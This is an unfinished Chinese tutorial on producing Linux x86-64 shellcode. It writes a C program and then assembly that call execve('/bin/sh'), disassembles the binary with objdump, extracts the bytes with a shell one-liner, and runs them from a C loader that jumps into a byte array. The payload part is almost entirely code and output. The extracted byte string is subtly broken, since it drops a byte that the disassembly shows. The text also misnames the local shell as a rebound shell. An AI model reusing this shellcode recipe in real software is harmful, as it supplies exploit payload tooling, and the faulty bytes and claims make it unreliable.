Linux 系统下提取 ShellCode

未完待续

1.使用C语言编写一个获得系统Shell的小程序。

#include 

int main()
{
    char * shell[2];
    shell[0]="/bin/sh";
    shell[1]=NULL;
    execve(shell[0],shell,NULL);
}

编译并运行后，能够回弹Shell

[root@localhost ~]# gcc -c lyshark.c 
[root@localhost ~]# gcc -o shell lyshark.o
[root@localhost ~]# ./shell 
sh-4.2# ls

64位系统堆栈结构已经变得和32位大不相同了

[root@localhost ~]# vim shell.S

section .text
  global _start
    _start:
      push rax
      xor rdx, rdx
      xor rsi, rsi
      mov rbx,'/bin//sh'
      push rbx
      push rsp
      pop rdi
      mov al, 59
      syscall

编译并运行

[root@localhost ~]# nasm -f elf64 shell.S -o shell.o
[root@localhost ~]# ld shell.o -o shell
[root@localhost ~]# ./shell 
[root@localhost root]# ls

查询生成的机器码

[root@localhost ~]# objdump -d shell

shell:     file format elf64-x86-64
Disassembly of section .text:

0000000000400080 <_start>:
  400080:   50                      push   %rax
  400081:   48 31 d2                xor    %rdx,%rdx
  400084:   48 31 f6                xor    %rsi,%rsi
  400087:   48 bb 2f 62 69 6e 2f    movabs $0x68732f2f6e69622f,%rbx
  40008e:   2f 73 68 
  400091:   53                      push   %rbx
  400092:   54                      push   %rsp
  400093:   5f                      pop    %rdi
  400094:   b0 3b                   mov    $0x3b,%al
  400096:   0f 05                   syscall 

一条命令提起机器码

[root@localhost ~]# objdump -d shell | grep "[0-9a-f]" | grep -v "file" | cut -f2 -d: | cut -f1-6 -d' '| tr -s ' '| tr '\t' ' '| sed 's/ $//g'| sed 's/ /\\x/g' | paste -d '' -s | sed 's/^/"/' | sed 's/$/"/g'

"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"

加载这段代码。

#include 

unsigned char shellcode[] = \
"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05";

int main()
{
    int (*ret)() = (int(*)())shellcode;
    ret();
}